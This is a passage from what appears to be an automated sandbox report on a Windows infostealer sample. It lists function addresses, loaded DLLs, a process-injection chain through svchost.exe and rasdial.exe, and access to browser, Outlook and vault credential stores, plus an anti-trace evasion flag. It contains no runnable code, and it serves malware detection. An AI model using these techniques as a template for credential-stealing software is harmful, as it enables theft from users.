                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051D2E905_2_051D2E90
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527CE935_2_0527CE93
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527EEDB5_2_0527EEDB
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051D69625_2_051D6962
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0528A9A65_2_0528A9A6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C29A05_2_051C29A0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051CA8405_2_051CA840
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C28405_2_051C2840
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051A68B85_2_051A68B8
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051EE8F05_2_051EE8F0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527AB405_2_0527AB40
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05276BD75_2_05276BD7
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051BEA805_2_051BEA80
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052775715_2_05277571
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0525D5B05_2_0525D5B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527F43F5_2_0527F43F
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051B14605_2_051B1460
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527F7B05_2_0527F7B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052716CC5_2_052716CC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0528B16B5_2_0528B16B
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051AF1725_2_051AF172
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051F516C5_2_051F516C
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051CB1B05_2_051CB1B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527F0E05_2_0527F0E0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052770E95_2_052770E9
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C70C05_2_051C70C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0526F0CC5_2_0526F0CC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527132D5_2_0527132D
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051AD34C5_2_051AD34C
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0520739A5_2_0520739A
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C52A05_2_051C52A0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_052612ED5_2_052612ED
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051DB2C05_2_051DB2C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05277D735_2_05277D73
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C3D405_2_051C3D40
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05271D5A5_2_05271D5A
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051DFDC05_2_051DFDC0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05239C325_2_05239C32
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527FCF25_2_0527FCF2
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527FF095_2_0527FF09
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C1F925_2_051C1F92
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527FFB15_2_0527FFB1
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C9EB05_2_051C9EB0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C99505_2_051C9950
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051DB9505_2_051DB950
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0522D8005_2_0522D800
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051C38E05_2_051C38E0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527FB765_2_0527FB76
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051DFB805_2_051DFB80
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05235BF05_2_05235BF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051FDBF95_2_051FDBF9
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05233A6C5_2_05233A6C
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05277A465_2_05277A46
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0527FA495_2_0527FA49
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05205AA05_2_05205AA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_05261AA35_2_05261AA3
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0525DAAC5_2_0525DAAC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0526DAC65_2_0526DAC6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_03261FE05_2_03261FE0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0325CEA05_2_0325CEA0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0325CE995_2_0325CE99
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0325B2005_2_0325B200
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0325B1FB5_2_0325B1FB
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0325B0B05_2_0325B0B0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0325D0C05_2_0325D0C0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_032656705_2_03265670
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0326386C5_2_0326386C
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_032638705_2_03263870
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0327BE305_2_0327BE30
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0506E78F5_2_0506E78F
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0506E3F35_2_0506E3F3
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0506E2D65_2_0506E2D6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0506D8585_2_0506D858
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0506CAF85_2_0506CAF8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03AAEA12 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03A2B970 appears 280 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03A87E54 appears 111 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03ABF290 appears 105 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03A75130 appears 58 times
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: String function: 0522EA12 appears 86 times
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: String function: 05207E54 appears 102 times
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: String function: 051F5130 appears 50 times
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: String function: 0523F290 appears 105 times
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: String function: 051AB970 appears 273 times
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: String function: 005BEC2F appears 68 times
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: String function: 005CF8A0 appears 35 times
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: String function: 005C6AC0 appears 42 times
                Source: lgkWBwqY15.exe, 00000000.00000003.1345478523.0000000003C6D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs lgkWBwqY15.exe
                Source: lgkWBwqY15.exe, 00000000.00000003.1347953387.0000000003B13000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs lgkWBwqY15.exe
                Source: lgkWBwqY15.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/3@19/12
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005ECE7A GetLastError,FormatMessageW,0_2_005ECE7A
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005DAB84 AdjustTokenPrivileges,CloseHandle,0_2_005DAB84
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005DB134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_005DB134
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005EE1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_005EE1FD
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E6532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,0_2_005E6532
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005FC18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,0_2_005FC18C
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005A406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_005A406B
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeFile created: C:\Users\user\AppData\Local\Temp\autAD54.tmpJump to behavior
                Source: lgkWBwqY15.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: rasdial.exe, 00000005.00000002.3807465479.0000000003612000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000003.1854813389.00000000035C1000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000003.1854917417.00000000035E3000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3807465479.00000000035EF000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3807465479.00000000035E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: lgkWBwqY15.exeReversingLabs: Detection: 68%
                Source: unknownProcess created: C:\Users\user\Desktop\lgkWBwqY15.exe "C:\Users\user\Desktop\lgkWBwqY15.exe"
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\lgkWBwqY15.exe"
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeProcess created: C:\Windows\SysWOW64\rasdial.exe "C:\Windows\SysWOW64\rasdial.exe"
                Source: C:\Windows\SysWOW64\rasdial.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\lgkWBwqY15.exe"Jump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeProcess created: C:\Windows\SysWOW64\rasdial.exe "C:\Windows\SysWOW64\rasdial.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: rasapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: rasman.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32Jump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: lgkWBwqY15.exeStatic file information: File size 1228288 > 1048576
                Source: lgkWBwqY15.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: lgkWBwqY15.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: lgkWBwqY15.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: lgkWBwqY15.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: lgkWBwqY15.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: lgkWBwqY15.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: lgkWBwqY15.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: EDoVdgyZMIcTRp.exe, 00000004.00000002.3806409031.0000000000DBE000.00000002.00000001.01000000.00000005.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3809477474.0000000000DBE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: lgkWBwqY15.exe, 00000000.00000003.1345880734.00000000039A0000.00000004.00001000.00020000.00000000.sdmp, lgkWBwqY15.exe, 00000000.00000003.1347480632.0000000003B90000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1663268363.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1571386748.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1568089685.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1663268363.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3813852309.000000000531E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000005.00000003.1663014834.0000000004E21000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3813852309.0000000005180000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000005.00000003.1665307271.0000000004FD3000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: rasdial.pdb source: svchost.exe, 00000002.00000002.1663010205.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1631946865.000000000341A000.00000004.00000020.00020000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000004.00000002.3809733930.00000000012F7000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: lgkWBwqY15.exe, 00000000.00000003.1345880734.00000000039A0000.00000004.00001000.00020000.00000000.sdmp, lgkWBwqY15.exe, 00000000.00000003.1347480632.0000000003B90000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1663268363.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1571386748.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1568089685.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1663268363.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, rasdial.exe, 00000005.00000002.3813852309.000000000531E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000005.00000003.1663014834.0000000004E21000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3813852309.0000000005180000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000005.00000003.1665307271.0000000004FD3000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: rasdial.pdbGCTL source: svchost.exe, 00000002.00000002.1663010205.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1631946865.000000000341A000.00000004.00000020.00020000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000004.00000002.3809733930.00000000012F7000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: rasdial.exe, 00000005.00000002.3807465479.0000000003569000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.00000000057AC000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000000.1734132242.00000000032EC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1963385960.000000003AA2C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: rasdial.exe, 00000005.00000002.3807465479.0000000003569000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.00000000057AC000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000000.1734132242.00000000032EC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1963385960.000000003AA2C000.00000004.80000000.00040000.00000000.sdmp
                Source: lgkWBwqY15.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: lgkWBwqY15.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: lgkWBwqY15.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: lgkWBwqY15.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: lgkWBwqY15.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005BE01E LoadLibraryA,GetProcAddress,0_2_005BE01E
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005C6B05 push ecx; ret 0_2_005C6B18
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00403100 push eax; ret 2_2_00403102
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041E9B7 push esp; ret 2_2_0041E9BF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040D307 push edx; ret 2_2_0040D30E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417333 push ecx; retf 2_2_00417336
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00411C05 push esi; iretd 2_2_00411C1E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00411C13 push esi; iretd 2_2_00411C1E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00427C33 push eax; iretd 2_2_00427CA9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00425553 push ds; iretd 2_2_00425554
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040D53D push esi; retf 2_2_0040D53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004045F9 push ds; ret 2_2_004045FF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418605 push ebp; retf 2_2_00418633
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00413FD3 push 8BA57A45h; iretd 2_2_00413FEA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A0225F pushad ; ret 2_2_03A027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A027FA pushad ; ret 2_2_03A027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A309AD push ecx; mov dword ptr [esp], ecx2_2_03A309B6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A0283D push eax; iretd 2_2_03A02858
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A01366 push eax; iretd 2_2_03A01369
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_051B09AD push ecx; mov dword ptr [esp], ecx5_2_051B09B6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_03264230 push ecx; retf 5_2_03264233
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_032744B0 push edi; ret 5_2_032744BB
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_03274B30 push eax; iretd 5_2_03274BA6
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0325EB02 push esi; iretd 5_2_0325EB1B
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0325EB10 push esi; iretd 5_2_0325EB1B
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_03270EBE push ss; retf 5_2_03270EC1
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_03260ED0 push 8BA57A45h; iretd 5_2_03260EE7
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_03265502 push ebp; retf 5_2_03265530
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_032715B1 push ecx; ret 5_2_032715B2
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_032514F6 push ds; ret 5_2_032514FC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0326B8B4 push esp; ret 5_2_0326B8BC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 5_2_0506615F push ebx; retf 5_2_05066160
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_00608111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00608111
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005BEB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_005BEB42
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005C123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_005C123A
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeAPI/Special instruction interceptor: Address: 1037C04
                Source: C:\Windows\SysWOW64\rasdial.exeAPI/Special instruction interceptor: Address: 7FFEFE52D324
